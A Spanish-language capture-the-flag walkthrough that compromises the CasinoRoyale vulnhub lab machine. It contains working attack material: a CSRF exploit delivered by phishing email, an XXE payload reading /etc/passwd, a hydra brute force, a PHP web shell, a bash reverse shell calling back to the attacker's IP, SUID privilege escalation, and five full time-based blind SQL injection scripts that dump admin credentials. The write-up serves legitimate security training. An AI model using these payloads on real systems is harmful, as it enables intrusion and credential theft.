Nos dririgimos a CasinoRoyale 1 descargamos el ova, y para instalarlo procedes a seguir los pasos vistos en el ejemplo de Instalar Máquina Vulhub en VMWare
❯ arp-scan -I ens33 --localnet --ignoredups
Interface: ens33, type: EN10MB, MAC: 00:0c:29:b3:ac:aa, IPv4: 192.168.1.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 4c:6e:6e:5f:8c:e2 Comnect Technology CO.,LTD
192.168.1.102 e4:aa:ea:ca:19:1d Liteon Technology Corporation
192.168.1.101 00:0c:29:29:0f:a7 VMware, Inc.
192.168.1.250 44:22:7c:c3:ee:22 (Unknown)
192.168.1.103 80:6d:71:b9:f2:af (Unknown)
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.117 seconds (120.93 hosts/sec). 5 responded
La IP correspondiente a nuestra máquina víctima vemos que es la 192.168.1.101 por lo que en esta ip vamos a trabajar, confirmamos comunicación haciendo ping a esta ip.
❯ ping -c 1 192.168.1.101
PING 192.168.1.101 (192.168.1.101) 56(84) bytes of data.
64 bytes from 192.168.1.101: icmp_seq=1 ttl=64 time=3.74 ms
--- 192.168.1.101 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 3.744/3.744/3.744/0.000 ms
Análizamos los puertos abiertos en esta máquina
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.101
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-26 06:49 CET
Initiating ARP Ping Scan at 06:49
Scanning 192.168.1.101 [1 port]
Completed ARP Ping Scan at 06:49, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 06:49
Scanning 192.168.1.101 [65535 ports]
Discovered open port 80/tcp on 192.168.1.101
Discovered open port 21/tcp on 192.168.1.101
Discovered open port 25/tcp on 192.168.1.101
Discovered open port 8081/tcp on 192.168.1.101
Completed SYN Stealth Scan at 06:50, 34.27s elapsed (65535 total ports)
Nmap scan report for 192.168.1.101
Host is up, received arp-response (0.13s latency).
Scanned at 2023-11-26 06:49:29 CET for 35s
Not shown: 33482 filtered tcp ports (no-response), 32049 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
25/tcp open smtp syn-ack ttl 64
80/tcp open http syn-ack ttl 64
8081/tcp open blackice-icecap syn-ack ttl 64
MAC Address: 00:0C:29:29:0F:A7 (VMware)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 34.59 seconds
Raw packets sent: 105334 (4.635MB) | Rcvd: 32056 (1.282MB)
Hay varios puertos abiertos a los cuales vamos a lanzar scripts comunes y observar cual es la versión de los correspondientes servicios.
❯ nmap -sCV -p21,25,80,8081 192.168.1.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-26 06:52 CET
Nmap scan report for casino-royale.local (192.168.1.101)
Host is up (0.0039s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
25/tcp open smtp Postfix smtpd
| ssl-cert: Subject: commonName=casino
| Subject Alternative Name: DNS:casino
| Not valid before: 2018-11-17T20:14:11
|_Not valid after: 2028-11-14T20:14:11
|_smtp-commands: casino.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 2 disallowed entries
|_/cards /kboard
|_http-server-header: Apache/2.4.25 (Debian)
8081/tcp open http PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 00:0C:29:29:0F:A7 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.65 seconds
Por la versión del Apache podemos saber que estamos ante un Debian Stretch
Lanzamos un script en el cual enumeramos el puerto 80, llamado http_enum.nse y comprobamos si nos lanza una información interesante.
❯ nmap --script http-enum.nse 192.168.1.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-26 06:59 CET
Nmap scan report for casino-royale.local (192.168.1.101)
Host is up (0.0012s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
| http-enum:
| /robots.txt: Robots file
| /phpmyadmin/: phpMyAdmin
| /cards/: Potentially interesting folder
| /includes/: Potentially interesting folder
|_ /install/: Potentially interesting folder
8081/tcp open blackice-icecap
MAC Address: 00:0C:29:29:0F:A7 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 3.21 seconds
El directorio install nos va a interesar.
Como conocemos que existe el directorio install nos dirigimos ahí y observamos lo siguiente.
Por curiosisdad vamos a observar si existe algún payload para PokerMax.
❯ searchsploit PokerMax
[i] Found (#2): /opt/exploit-database/files_exploits.csv
[i] To remove this message, please edit "/root/.searchsploit_rc" which has "package_array: exploitdb" to point too: path_array+=("/opt/exploit-database")
[i] Found (#2): /opt/exploit-database/files_shellcodes.csv
[i] To remove this message, please edit "/root/.searchsploit_rc" which has "package_array: exploitdb" to point too: path_array+=("/opt/exploit-database")
------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PokerMax Poker League 0.13 - Insecure Cookie Handling | php/webapps/6766.txt
------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Y como podemos comprobar efectivamente si existe un exploit procedemos a leerlo.
searchsploit -x php/webapps/6766.txt
Vemos que tenemos que ir a ese link, pero vamos a comprobar si existe.
Vamos ir borrando directorio por directorio a ver si lo encontramos.
Probamos el exploit.
http:/pokeradmin/index.php
Nos dirigimos a configure.php
http:/pokeradmin/configure.php
Y hemos entrado, procedemos hacer un reconocimiento.
Nos indica que nos dirijamos a /vip-client-portfolios/?uri=blog y que actualicemos el /etc/hosts colocando casino-royale.local
Vamos a la dirección que nos indicaban anteriormente, vemos que es un CMS.
http:/vip-client-portfolios/?uri=blog
Ahora vamos a buscar que hay una vulnerabilidad existente para Snowfox CMS
❯ searchsploit Snowfox CMS
[i] Found (#2): /opt/exploit-database/files_exploits.csv
[i] To remove this message, please edit "/root/.searchsploit_rc" which has "package_array: exploitdb" to point too: path_array+=("/opt/exploit-database")
[i] Found (#2): /opt/exploit-database/files_shellcodes.csv
[i] To remove this message, please edit "/root/.searchsploit_rc" which has "package_array: exploitdb" to point too: path_array+=("/opt/exploit-database")
------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Snowfox CMS 1.0 - Cross-Site Request Forgery (Add Admin) | php/webapps/35301.html
------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Vemos que existe un CSRF y que tendríamos que cargar el exploit que nos están pasando, por lo que procedemos a leerlo, descargarlo y modificarlo para nuestro caso.
Vemos que procede a crear una cuenta, por lo que vamos a modificar los datos de acuerdo a nuestros parámetros.
❯ searchsploit -m php/webapps/35301.html
[i] Found (#2): /opt/exploit-database/files_exploits.csv
[i] To remove this message, please edit "/root/.searchsploit_rc" which has "package_array: exploitdb" to point too: path_array+=("/opt/exploit-database")
[i] Found (#2): /opt/exploit-database/files_shellcodes.csv
[i] To remove this message, please edit "/root/.searchsploit_rc" which has "package_array: exploitdb" to point too: path_array+=("/opt/exploit-database")
Exploit: Snowfox CMS 1.0 - Cross-Site Request Forgery (Add Admin)
URL: https://www.exploit-db.com/exploits/35301
Path: /opt/exploit-database/exploits/php/webapps/35301.html
Codes: OSVDB-114819, CVE-2014-9344
Verified: False
File Type: HTML document, UTF-8 Unicode (with BOM) text
Copied to: /home/luis/Desktop/CasinoRoyale/nmap/35301.html
Le cambiamos el nombre para hacerlo más identificativo para nosotros sabiendo que esto es una CTF.
mv 35301.html csrf.html
Modificamos el archivo para que este de acuerdo a nuestros parámetros:
Pero, ¿cómo enviamos este HTML?, si leemos el blog nos brindan una pista.
Conociendo que el puerto SMTP está abierto podemos hacer lo siguiente, nota el subject debe ser un usuario de los existentes que observamos en PokerMax Manage Players, también crearemos un servidor http con python en el directorio donde se encuentre nuestro exploit.
❯ telnet 192.168.1.101 25
Trying 192.168.1.101...
Connected to 192.168.1.101.
Escape character is '^]'.
220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls.
MAIL FROM: luis
250 2.1.0 Ok
RCPT TO: valenka
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject Obanno
Revisa este importante link:
http://192.168.1.140/csrf.html
.
250 2.0.0 Ok: queued as E68E02375
Después de un momento vemos que abrió el link, por lo que ya tenemos un usuario con permisos de admin creado. Por lo que entramos con nuestras credenciales creadas y dentro de la páginas nos dirigimos a manage accounts.
Revisamos así cada uno de los usuarios para confirmar alguna pista y vemos que en el usuario le, vemos que hay una información que nos indica otra página.
Nos dirigimos a /ultra-access-view/main.php
Vemos el códido fuente:
Prácticamente nos indica que es vulnerable a XXE.
Sabemos que es vulnerable a XXE y ademas no debemos enumerar los nodos porque tambien nos los indican, el nodo mayor es creds con dos nodos hijos customer y password. Por lo que vamos a proceder a abrir el burpsuite.
Ahora probamos enviando los nodos XML que conocemos, para ver si existe un cambio en la página.
Vemos que el nodo customer es el que se muestra por pantalla ahora vamos hacer uso de las entidades a ver si podemos hacer una lectura de archivos y vamos a leer el /etc/passwd
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<creds>
<customer>&xxe;</customer>
<password>pass</password>
</creds>
Primero vemos que existe un usuario ftp llamado ftpUserULTRA, que está en el directorio actual donde está cargada la página que atacamos.
Conociendo el user del ftp, vamos a tener que averiguar cual es la contraseña, por lo que procedemos hacer un ataque de fuerza bruta utilizando hydra.
hydra -l ftpUserULTRA -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.101
Nota: El proceso va a demorar casi 3horas así que hay que armarse de paciencia.
Teniendo las credenciales del ftpUserULTRA y sabiendo que su home radica en la misma donde observamos la página cargada, podemos es enviar un archivo cmd.php hacer un RCE.
Vamos a crear un archivo cmd.php donde por el parámetro cmd ejecute comandos del sistema.
vi cmd.php
<?php
system($_GET["cmd"]);
?>
Pero vemos no nos permite subir, vamos a probar si es por la extensión, cambiaremos .php a .php3.
mv cmd.php cmd.php3
Ahí si cargó, confirmamos haciendo un dir.
Nos dirigimos a la página:
Y procedemos a ejecutar comandos:
No vemos nada, si volvemos a revisar los permisos del archivo cmd.php3 está limitados asi que vamos a darle permiso 777.
Volvemos a ejecutar el comando id para confirmar que ya esté todo ok.
Tenemos ejecución de comandos, ahora nos vamos a poner en escucha por el puerto 443 a obtener nuestra reverse shell mediante el siguiente one liner:
http:/ultra-access-view/cmd.php3?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.140/443 0>%261"
Hacemos el Tratamiento de la TTY y proseguimos con la escalda de privilegios.
Comenzaré buscando binarios con permisos SUID
www-data@casino:/var/www/html/ultra-access-view$ find / -perm -4000 2>/dev/null
/opt/casino-royale/mi6_detect_test
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/userhelper
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/bin/su
/bin/ntfs-3g
/bin/ping
/bin/umount
/bin/mount
/bin/fusermount
Vemos que hay un binario interesante que se llama mi6_detect_test vamos a revisarlo
Vamos a leer las funciones con string, y observamos que ejecuta un binario llamado run.sh
Listamos el directorio donde se ubica el binario SUID.
Vamos a buscar en /var/www/html algún archivo de configuración:
find . -name *config* 2>/dev/null
Vamos a catear ese archivo.
Probablemente sea la contraseña del usuario valenka en el sistema por lo que vamos a probarlo.
Efectivamente, ahora nos dirigimos al directorio /tmp y creamos un archivo run.sh que es el que busca el binario cuando se lo ejecuta.
cd /tmp
vi run.sh
bash -p
Y ejecutamos el binario que tiene permisos SUID.
Somos root.
Si queremos ver la bandera tendremos que dirigirnos a /root/flag y montar un servidor php
cd /root/flag
php -S 192.168.1.101:8082
Podemos aprovecharnos de que en este laboratorio se ve que existe SQL Inyection.
Voy a pasar los scripts, por lo que no procederé a explicarlos.
#!/usr/bin/python3
from pwn import *
import requests
import sys
import time
import signal
import string
def def_handler(sig,frame):
print("\n[+] Saliendo...\n\n")
sys.exit(1)
#Ctrl+c
signal.signal(signal.SIGINT,def_handler)
# Variables Globales
# op=adminlogin&username=admin' and if(substring(database(),1,1)='p',sleep(5),1)-- -&password=admin
main_url = "http://192.168.1.101/pokeradmin/index.php"
headers = {
"Content-Type":"application/x-www-form-urlencoded"
}
characters = string.ascii_lowercase + "._-+$"
def sqli():
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando Inyección SQL")
time.sleep(2)
p2 = log.progress("Data")
for position in range(1,12):
for character in characters:
post_data = {
'op':'adminlogin',
"username":"admin' and if(substring(database(),%d,1)='%s',sleep(0.5),1)-- -" % (position, character),
'password':'admin'
}
time_start = time.time()
r = requests.post(main_url,data=post_data,headers=headers)
time_end = time.time()
if((time_end - time_start) > 0.5):
data += character
p2.status(data)
break
p1.success("SQLI Terminado")
p2.success(data)
if __name__ == "__main__":
sqli()
#!/usr/bin/python3
from pwn import *
import requests
import sys
import time
import signal
import string
def def_handler(sig,frame):
print("\n[+] Saliendo...\n\n")
sys.exit(1)
#Ctrl+c
signal.signal(signal.SIGINT,def_handler)
# Variables Globales
main_url = "http://192.168.1.101/pokeradmin/index.php"
headers = {
"Content-Type":"application/x-www-form-urlencoded"
}
characters = string.ascii_lowercase + "._-+$,"
def sqli():
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando Inyección SQL")
time.sleep(2)
p2 = log.progress("Data")
# op=adminlogin&username=admin' and if(substring((select group_concat(schema_name) from information_schema.schemata),1,1)='i',sleep(5),1)-- -&password=admin
for position in range(1,100):
for character in characters:
post_data = {
'op':'adminlogin',
"username":"admin' and if(substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.5),1)-- -" % (position, character),
'password':'admin'
}
time_start = time.time()
r = requests.post(main_url,data=post_data,headers=headers)
time_end = time.time()
if((time_end - time_start) > 0.5):
data += character
p2.status(data)
break
p1.success("SQLI Terminado")
p2.success(data)
if __name__ == "__main__":
sqli()
#!/usr/bin/python3
from pwn import *
import requests
import sys
import time
import signal
import string
def def_handler(sig,frame):
print("\n[+] Saliendo...\n\n")
sys.exit(1)
#Ctrl+c
signal.signal(signal.SIGINT,def_handler)
# Variables Globales
main_url = "http://192.168.1.101/pokeradmin/index.php"
headers = {
"Content-Type":"application/x-www-form-urlencoded"
}
characters = string.ascii_lowercase + "._-+$,"
def sqli():
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando Inyección SQL")
time.sleep(2)
p2 = log.progress("Data")
# op=adminlogin&username=admin' and if(substring((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),1,1)='p',sleep(5),1)-- -&password=admin
for position in range(1,100):
for character in characters:
post_data = {
'op':'adminlogin',
"username":"admin' and if(substring((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.5),1)-- -&" % (position, character),
'password':'admin'
}
time_start = time.time()
r = requests.post(main_url,data=post_data,headers=headers)
time_end = time.time()
if((time_end - time_start) > 0.5):
data += character
p2.status(data)
break
p1.success("SQLI Terminado")
p2.success(data)
if __name__ == "__main__":
sqli()
#!/usr/bin/python3
from pwn import *
import requests
import sys
import time
import signal
import string
def def_handler(sig,frame):
print("\n[+] Saliendo...\n\n")
sys.exit(1)
#Ctrl+c
signal.signal(signal.SIGINT,def_handler)
# Variables Globales
main_url = "http://192.168.1.101/pokeradmin/index.php"
headers = {
"Content-Type":"application/x-www-form-urlencoded"
}
characters = string.ascii_lowercase + "._-+$,"
def sqli():
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando Inyección SQL")
time.sleep(2)
p2 = log.progress("Data")
# op=adminlogin&username=admin' and if(substring((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),1,1)='i',sleep(5),1)-- -&password=admin
for position in range(1,100):
for character in characters:
post_data = {
'op':'adminlogin',
"username":"admin' and if(substring((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.5),1)-- -" % (position, character),
'password':'admin'
}
time_start = time.time()
r = requests.post(main_url,data=post_data,headers=headers)
time_end = time.time()
if((time_end - time_start) > 0.5):
data += character
p2.status(data)
break
p1.success("SQLI Terminado")
p2.success(data)
if __name__ == "__main__":
sqli()
#!/usr/bin/python3
from pwn import *
import requests
import sys
import time
import signal
import string
def def_handler(sig,frame):
print("\n[+] Saliendo...\n\n")
sys.exit(1)
#Ctrl+c
signal.signal(signal.SIGINT,def_handler)
# Variables Globales
main_url = "http://192.168.1.101/pokeradmin/index.php"
headers = {
"Content-Type":"application/x-www-form-urlencoded"
}
characters = string.ascii_lowercase + "._-+$,:" + string.digits
def sqli():
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando Inyección SQL")
time.sleep(2)
p2 = log.progress("Data")
# op=adminlogin&username=admin' and if(substring((select group_concat(username,%44,password) from pokermax_admin),1,1)='p',sleep(5),1)-- -&password=admin
for position in range(1,100):
for character in characters:
post_data = {
'op':'adminlogin',
"username":"admin' and if(substring((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.5),1)-- -&" % (position, character),
'password':'admin'
}
time_start = time.time()
r = requests.post(main_url,data=post_data,headers=headers)
time_end = time.time()
if((time_end - time_start) > 0.5):
data += character
p2.status(data)
break
p1.success("SQLI Terminado")
p2.success(data)
if __name__ == "__main__":
sqli()
Así obtenemos el usuario y contraseña admin para entrar.